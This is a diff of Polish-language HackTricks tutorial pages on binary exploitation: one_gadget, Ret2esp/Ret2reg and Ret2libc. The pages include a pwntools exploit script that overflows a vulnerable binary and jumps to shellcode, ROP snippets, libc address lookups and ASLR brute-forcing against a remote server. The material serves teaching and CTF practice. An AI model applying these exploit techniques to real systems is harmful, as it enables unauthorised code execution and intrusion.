* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
# Jedno narzędzie
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
[**Jedno narzędzie**](https://github.com/david942j/one\_gadget) pozwala uzyskać powłokę zamiast korzystania z **system** i **"/bin/sh". Jedno narzędzie** znajdzie w bibliotece libc sposób uzyskania powłoki (`execve("/bin/sh")`) za pomocą jednego **adresu**.\
|
||||
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to na przykład `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, wystarczy wysłać więcej wartości NULL, aby uniknąć tego ograniczenia.
|
||||
|
||||
![](<../../.gitbook/assets/image (615).png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
Aby uzyskać adres wskazany przez One Gadget, musisz **dodać bazowy adres, pod którym jest załadowany `libc`**.
|
||||
|
||||
{% hint style="success" %}
|
||||
One Gadget jest **wielką pomocą dla technik Arbitrary Write 2 Exec** i może **upraszczać łańcuchy ROP**, ponieważ musisz wywołać tylko jeden adres (i spełnić wymagania).
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,86 @@
|
|||
# Ret2esp / Ret2reg
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**Ponieważ ESP (Wskaźnik stosu) zawsze wskazuje na górę stosu**, ta technika polega na zastąpieniu EIP (Wskaźnik instrukcji) adresem instrukcji **`jmp esp`** lub **`call esp`**. Dzięki temu shellcode jest umieszczany bezpośrednio po nadpisanej wartości EIP. Gdy instrukcja `ret` jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.
|
||||
|
||||
Jeśli **Randomizacja Układu Przestrzeni Adresowej (ASLR)** nie jest włączona w systemie Windows lub Linux, można użyć instrukcji `jmp esp` lub `call esp` znalezionych w bibliotekach współdzielonych. Jednak przy włączonym [**ASLR**](../common-binary-protections-and-bypasses/aslr/), konieczne może być poszukiwanie tych instrukcji w samym programie podatnym (i konieczne może być pokonanie [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
|
||||
Ponadto, umożliwienie umieszczenia shellcode **po skorumpowaniu EIP**, a nie w środku stosu, zapewnia, że żadne instrukcje `push` lub `pop` wykonane podczas działania funkcji nie będą ingerować w shellcode. Taka ingerencja mogłaby wystąpić, gdyby shellcode był umieszczony w środku stosu funkcji.
|
||||
|
||||
### Brak miejsca
|
||||
|
||||
Jeśli brakuje Ci miejsca do zapisania po nadpisaniu RIP (może to być tylko kilka bajtów), napisz początkowy shellcode `jmp` jak:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
I napisz shellcode na początku stosu.
|
||||
|
||||
### Przykład
|
||||
|
||||
Możesz znaleźć przykład tej techniki w [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) z końcowym exploit'em jak:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = process()
|
||||
|
||||
jmp_rsp = next(elf.search(asm('jmp rsp')))
|
||||
|
||||
payload = b'A' * 120
|
||||
payload += p64(jmp_rsp)
|
||||
payload += asm('''
|
||||
sub rsp, 10;
|
||||
jmp rsp;
|
||||
''')
|
||||
|
||||
pause()
|
||||
p.sendlineafter('RSP!\n', payload)
|
||||
p.interactive()
|
||||
```
|
||||
## Ret2reg
|
||||
|
||||
Podobnie, jeśli znamy funkcję zwracającą adres, w którym przechowywany jest kod powłoki, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferującą inną metodę wykonania naszego kodu powłoki. Podobnie jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**).
|
||||
|
||||
### Przykład
|
||||
|
||||
Możesz znaleźć przykład tutaj: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
|
||||
## Protections
|
||||
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Jeśli stos nie jest wykonawczy, to nie pomoże, ponieważ musimy umieścić kod powłoki na stosie i skoczyć, aby go wykonać.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Mogą sprawić, że będzie trudniej znaleźć instrukcję do skoku do esp lub dowolnego innego rejestru.
|
||||
|
||||
## References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -16,12 +16,12 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
Idea **Ret2Libc** polega na przekierowaniu przepływu wykonania podatnego programu do funkcji w bibliotece współdzielonej (np. **system**, **execve**, **strcpy**) zamiast wykonywania kodu shell dostarczonego przez atakującego na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie wskazujący na pożądaną funkcję biblioteczną, jednocześnie zapewniając, że wszelkie konieczne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.
|
||||
Idea **Ret2Libc** polega na przekierowaniu przepływu wykonania podatnego programu do funkcji w współdzielonej bibliotece (np. **system**, **execve**, **strcpy**) zamiast wykonywania kodu shellcode dostarczonego przez atakującego na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteczną, jednocześnie zapewniając, że wszelkie konieczne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.
|
||||
|
||||
### **Przykładowe kroki (uproszczone)**
|
||||
|
||||
* Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wykonania (np. /bin/sh)
|
||||
* Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na łańcuch polecenia i przepływ wykonania do funkcji
|
||||
* Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wywołania (np. /bin/sh)
|
||||
* Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na ciąg poleceń oraz przepływ wykonania do funkcji
|
||||
|
||||
## Znajdowanie adresów
|
||||
|
||||
|
@ -31,8 +31,6 @@ Idea **Ret2Libc** polega na przekierowaniu przepływu wykonania podatnego progra
|
|||
```bash
|
||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
|
@ -45,9 +43,9 @@ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
|||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
### Korzystanie z gdb-peda / GEF
|
||||
### Używając gdb-peda / GEF
|
||||
|
||||
Znając używaną bibliotekę libc, można również użyć Peda lub GEF, aby uzyskać adres funkcji **system**, funkcji **exit** oraz ciągu znaków **`/bin/sh`**:
|
||||
Znając używaną bibliotekę libc, można również użyć Peda lub GEF, aby uzyskać adres funkcji **system**, funkcji **exit** i ciągu znaków **`/bin/sh`**:
|
||||
```
|
||||
p system
|
||||
p exit
|
||||
|
@ -85,21 +83,17 @@ Te ataki brute-force są **przydatne tylko dla systemów 32-bitowych**.
|
|||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przeprowadzić atak siłowy na adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, oznacza to, że znalazłeś adres tej funkcji.
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przeprowadzić atak siłowy na adres funkcji `libc` `usleep`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, oznacza to, że znalazłeś adres tej funkcji.
|
||||
|
||||
## ONE\_GADGET
|
||||
## Jedno Narzędzie
|
||||
|
||||
[**ONE\_GADGET**](https://github.com/david942j/one\_gadget) pozwala uzyskać dostęp do powłoki zamiast korzystać z funkcji **system** i **"/bin/sh". ONE\_GADGET** znajdzie w bibliotece libc sposób na uzyskanie dostępu do powłoki, używając tylko jednego adresu **ROP**.\
|
||||
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to takie jak `[rsp+0x30] == NULL`. Kontrolując wartości w **RSP**, wystarczy wysłać więcej wartości NULL, aby uniknąć tego ograniczenia.
|
||||
{% content-ref url="../../one-gadget.md" %}
|
||||
[one-gadget.md](../../one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
![](<../../../../.gitbook/assets/image (615).png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
## Przykład kodu x86 Ret2lib
|
||||
## Przykład Kodu x86 Ret2lib
|
||||
|
||||
W tym przykładzie ASLR brute-force jest zintegrowany w kodzie, a podatny plik binarny znajduje się na zdalnym serwerze:
|
||||
W tym przykładzie atak siłowy ASLR jest zintegrowany w kodzie, a podatny plik binarny znajduje się na zdalnym serwerze:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -129,7 +123,7 @@ Pozwala to **wyciekać informacje z procesu** poprzez wywołanie `printf`/`puts`
|
|||
|
||||
## Ret2printf
|
||||
|
||||
Oznacza to w zasadzie nadużycie **Ret2lib w celu przekształcenia go w podatność na łańcuchy formatujące `printf`**, korzystając z `ret2lib` do wywołania printf z wartościami do wykorzystania (brzmi bezużytecznie, ale jest to możliwe):
|
||||
Oznacza to w zasadzie nadużycie **Ret2lib w celu przekształcenia go w podatność na łańcuchy formatujące `printf`**, korzystając z `ret2lib` do wywołania printf z wartościami do jej wykorzystania (brzmi bezużytecznie, ale jest to możliwe):
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
|
@ -144,7 +138,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue